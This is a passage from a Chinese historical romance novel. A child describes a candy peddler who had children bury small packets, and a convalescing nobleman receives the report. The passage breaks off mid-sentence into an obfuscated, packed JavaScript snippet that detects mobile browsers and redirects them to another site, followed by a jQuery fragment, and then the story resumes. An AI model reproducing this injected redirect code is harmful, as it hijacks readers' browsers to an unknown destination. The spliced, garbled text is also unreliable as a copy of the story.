云雀露出迷惑的神情,最终摇了摇头:“没有了。”
常春拍拍她的头,站起身来:“阿姐出去办点事儿,此处很安全,阿姐便不带你了。你听麦冬姐姐的话别乱跑,乖啊,我等会儿便回来。”
她即将走出门的一瞬间,云雀突然叫了一声:“阿姐!”
常春以为云雀还在怕前晚的事,又折回来准备安慰她,却见云雀若有所思道:“阿姐,我不知道这算不算,但我的确觉得很怪异……”
“我听金枝她们说,最近南斜后街来了个卖糖球的货郎,一文钱可以买五个糖球,其他地方都只能买两个,所以小伙伴们那几天都爱去他那儿买糖球。”
“但是那个货郎有个奇怪的要求——他让在他那儿买糖球的小伙伴陪他玩一个‘埋宝藏’的游戏……”
常春顿时一凛,脑中闪过麦冬同她说的‘背后墙角发现了填埋硝石、硫磺等的痕迹’,她连声道:“然后呢?是什么样的游戏?”
云雀接着说下去:“就是买完糖,他便将一个小纸包给那个孩子,给他指定一个地方,让他埋下去。”
常春道:“若是不埋呢?”
“不埋下次他就不卖糖给那个人了,”云雀道,“也有小孩子偷懒,直接将纸包拆开看了,里面也不过是些石子沙土,就没埋。”
“结果第二日再去买糖,那货郎就说他不守信
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17032141|191969||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
用,死活也不卖糖给他了,大家伙才知道,他竟然是会回去那些地方检查的。”
“不过他让埋的也不过是些无害的东西,所以之后大家为了吃便宜的糖,都会听他的话,好好去将‘宝藏’埋好。”
云雀说完,有些紧张地道:“阿姐,我没参与这个游戏,家里有许多你给我买的好吃的糖,我还分了些给金枝小海,劝他们别去呢。”
“嗯,”常春拍拍她的背,“好孩子。”
她转向麦冬:“你可听明白了?”
见麦冬点头,她又道:“那就好,烦请你将云雀的话原封不动转述给你们世子可好?”
眠风楼,凌肃倚在床边,六月的天,他腿上扔搭着一条夹纱绸被。
因在家中养伤,他并未束冠。此时满头青丝披散下来,以一条玉色缎带束于背后,时时有未束紧的发丝拂过他侧脸,衬着稍嫌苍白的脸色,让他看去仿佛一枚薄胎青瓷瓶般脆弱易折。
听完麦冬的禀报,凌肃沉吟半晌,挥挥手道:“知道了。”
麦冬行了礼就要退下,却又被他叫住:“除了此事,她可还说了什么?”
麦冬躬身道:“我同常娘子说了您的伤情,她问我能不能来见见您,我就按您吩咐的说了……”
凌肃道:“然后呢?”
然后?
麦冬眨眨眼道:“常娘子并没说其他的了。”
凌肃抿紧了唇,良久才道:“知道了,你去吧。吩咐园中各处,不可怠慢了她,要什么直接开我的私库去拿。”
麦冬的身影消失在门后,一个高大的黑影自屏风后闪出来,正是凌肃的亲卫,长风。
凌肃冷冷道:“你听清楚了?我叫你们去三班